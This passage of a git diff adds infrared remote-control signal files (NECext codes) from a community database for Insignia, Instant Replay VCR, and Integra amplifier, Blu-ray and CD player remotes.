NECext +address: 86 05 00 00 +command: 17 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 18 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 18 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 1B 00 00 00 +# +name: CCD +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 1C 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 1D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 42 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 43 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 44 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 45 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 48 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 49 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 4B 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 4C 00 00 00 +# +name: DVD/VIDEO +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 4C 00 00 00 +# +name: COMP +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 4D 00 00 00 +# +name: VGA +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 4E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 4F 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 50 00 00 00 +# +name: CH-LIST +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 86 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir b/assets/resources/infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir new file mode 100644 index 000000000..cb9434c7b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 14 00 00 00 +# +name: left1 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 15 00 00 00 +# +name: right1 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 16 00 00 00 +# +name: left-all +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 17 00 00 00 +# +name: right1 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 18 00 00 00 +# +name: right-all +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 18 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 19 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1A 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1C 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 21 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 22 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 23 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 24 00 00 00 +# +name: return-title +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 25 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 26 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 28 00 00 00 +# +name: bs +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 29 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2A 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2D 00 00 00 +# +name: tray +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2F 00 00 00 +# +name: night +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 30 00 00 00 +# +name: dim +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 31 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 32 00 00 00 +# +name: eq +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 34 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 36 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir new file mode 100644 index 000000000..6e13d63b8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: REW/SEARCH_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: FF/SEARCH_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: 1_(AM) +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 1_AM +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 2_(PM) +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 2_PM +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: CH_SCAN_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: CH_SCAN_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 32 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 33 00 00 00 +# +name: CLEAR_RESET +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 33 00 00 00 +# +name: TRACKING_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 38 00 00 00 +# +name: V-LOCK_TRACKING_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 38 00 00 00 +# +name: TRACKING_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 39 00 00 00 +# +name: V-LOCK_TRACKING_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 39 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 +# +name: OTR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir new file mode 100644 index 000000000..8729e398e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir new file mode 100644 index 000000000..648afde72 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: ADD/DLT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: ADD/DELETE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir new file mode 100644 index 000000000..a0d1aa509 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: S.TRACKING_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: S.TRACKING_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: S.SPEED_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: S.SPEED_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: 8_(AM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: 9_(PM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: F.FWD/VI.SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: REW/VI.SRCH_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0F 00 00 00 +# +name: F.ADV_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: X2_FAST +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 12 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: REC/PLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: REC/PAUSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: 7_(WKL/DLY) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: TRANS +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: UNKNOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir new file mode 100644 index 000000000..eff57af73 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: RECORD +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir new file mode 100644 index 000000000..1975f9525 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: TAPE/DAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: DBS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 11 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: DELAY_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 53 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: ENTER/ESCAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9C 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D0 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D1 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D2 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D3 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir new file mode 100644 index 000000000..e7ada6363 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir new file mode 100644 index 000000000..003d292ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: A_-_RED +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: B_-_GREEN +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: C_-_BLUE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: D_-_YELLOW +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: POP-UP_MENU/MENU +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SCAN_- +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir new file mode 100644 index 000000000..97fee5034 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 00 00 00 00 +# +name: FOLDER_DOWN +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 00 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 01 00 00 00 +# +name: FOLDER_UP +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 01 00 00 00 +# +name: NEXT_SELECTION +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 05 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 06 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 08 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 09 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 18 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 19 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1C 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1D 00 00 00 +# +name: FOLDER_RIGHT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1E 00 00 00 +# +name: FOLDER_LEFT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1F 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 45 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 46 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 5C 00 00 00 +# +name: DISK_- +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 5F 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 8E 00 00 00 +# +name: OFF_(STANDBY) +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 8F 00 00 00 +# +name: DISC1 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D5 00 00 